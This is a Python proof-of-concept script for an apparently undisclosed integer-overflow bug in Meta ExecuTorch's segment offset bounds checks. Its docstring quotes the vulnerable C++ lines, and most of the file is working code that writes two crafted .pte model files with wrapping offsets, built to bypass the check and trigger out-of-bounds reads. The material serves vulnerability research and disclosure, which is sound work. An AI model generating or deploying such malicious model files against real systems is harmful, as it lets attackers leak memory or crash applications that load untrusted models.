#!/usr/bin/env python3
"""
PoC: Unsigned Integer Overflow in Segment Offset Calculations — Meta ExecuTorch
================================================================================
CVE: N/A (0-day)
Target: executorch/runtime/executor/program.cpp (line 592, 609)
        executorch/runtime/executor/pte_data_map.cpp (line 58)
Severity: High (Out-of-Bounds Read via Bounds Check Bypass)

VULNERABILITY SUMMARY:
Multiple functions in the ExecuTorch runtime perform unchecked arithmetic
on segment offsets before using the result to load data. These offsets
are read from the .pte FlatBuffer file and are fully attacker-controlled.

BUG 1 — program.cpp:592 (bounds check bypass):
    if (offset + size > segment->size()) {  // offset + size WRAPS to small value
        return Error::InvalidArgument;       // check passes incorrectly!
    }

BUG 2 — program.cpp:609 (triple addition overflow):
    return loader_->load(
        segment_base_offset_ + segment->offset() + offset, ...);

BUG 3 — pte_data_map.cpp:58 (double addition overflow):
    return loader_->load(
        segment_base_offset_ + segment_offset, segment_size, ...);

This script generates .pte files demonstrating both overflow vectors.
Requires: pip install flatbuffers
"""

import struct
import sys
import os
import flatbuffers

FILE_IDENTIFIER = b"ET12"
KERNEL_TYPE_INT = 2

def build_segment_overflow_pte(output_path, segment_offset, segment_size):
    builder = flatbuffers.Builder(2048)

    builder.StartObject(1)
    builder.PrependInt64Slot(0, 0, 0)
    int_offset = builder.EndObject()

    builder.StartObject(2)
    builder.PrependUint8Slot(0, KERNEL_TYPE_INT, 0)
    builder.PrependUOffsetTRelativeSlot(1, int_offset, 0)
    evalue_offset = builder.EndObject()

    builder.StartVector(4, 1, 4)
    builder.PrependUOffsetTRelative(evalue_offset)
    values_vec = builder.EndVector()

    builder.StartVector(4, 1, 4)
    builder.PrependInt32(0)
    inputs_vec = builder.EndVector()

    builder.StartVector(4, 1, 4)
    builder.PrependInt32(0)
    outputs_vec = builder.EndVector()

    builder.StartVector(8, 1, 8)
    builder.PrependInt64(0)
    non_const_vec = builder.EndVector()

    name_str = builder.CreateString("forward")

    builder.StartObject(9)
    builder.PrependUOffsetTRelativeSlot(0, name_str, 0)
    builder.PrependUOffsetTRelativeSlot(2, values_vec, 0)
    builder.PrependUOffsetTRelativeSlot(3, inputs_vec, 0)
    builder.PrependUOffsetTRelativeSlot(4, outputs_vec, 0)
    builder.PrependUOffsetTRelativeSlot(8, non_const_vec, 0)
    exec_plan_offset = builder.EndObject()

    builder.StartVector(4, 1, 4)
    builder.PrependUOffsetTRelative(exec_plan_offset)
    exec_plan_vec = builder.EndVector()

    builder.StartObject(2)
    builder.PrependUint64Slot(0, segment_offset, 0)
    builder.PrependUint64Slot(1, segment_size, 0)
    segment_entry = builder.EndObject()

    builder.StartVector(4, 1, 4)
    builder.PrependUOffsetTRelative(segment_entry)
    segments_vec = builder.EndVector()

    builder.StartVector(8, 1, 8)
    builder.PrependUint64(0)
    offsets_vec = builder.EndVector()

    builder.StartObject(2)
    builder.PrependUint32Slot(0, 0, 0)
    builder.PrependUOffsetTRelativeSlot(1, offsets_vec, 0)
    const_segment = builder.EndObject()

    builder.StartObject(8)
    builder.PrependUint32Slot(0, 0, 0)
    builder.PrependUOffsetTRelativeSlot(1, exec_plan_vec, 0)
    builder.PrependUOffsetTRelativeSlot(4, segments_vec, 0)
    builder.PrependUOffsetTRelativeSlot(5, const_segment, 0)
    program_offset = builder.EndObject()

    builder.Finish(program_offset, file_identifier=FILE_IDENTIFIER)
    buf = bytes(builder.Output())

    with open(output_path, "wb") as f:
        f.write(buf)
    return buf

def main():
    print("PoC: Segment Offset Overflow in Meta ExecuTorch")
    UINT64_MAX = (1 << 64) - 1

    # Scenario 1: Bounds check bypass
    seg_offset = 0xFFFFFFFFFFFF0000
    seg_size = 0x0000000000020000
    buf1 = build_segment_overflow_pte("malicious_segment_bypass.pte", seg_offset, seg_size)
    print(f"Generated: malicious_segment_bypass.pte ({len(buf1)} bytes)")

    # Scenario 2: Triple addition overflow
    assumed_base = 4096
    seg_offset2 = (0 - assumed_base) % (1 << 64)
    buf2 = build_segment_overflow_pte("malicious_segment_triple.pte", seg_offset2, 0x1000)
    print(f"Generated: malicious_segment_triple.pte ({len(buf2)} bytes)")

    # Verify
    for path in ["malicious_segment_bypass.pte", "malicious_segment_triple.pte"]:
        with open(path, "rb") as f:
            data = bytearray(f.read())
        assert data[4:8] == FILE_IDENTIFIER
        print(f"  {path}: Valid ET12 FlatBuffer ({len(data)} bytes)")

if __name__ == "__main__":
    main()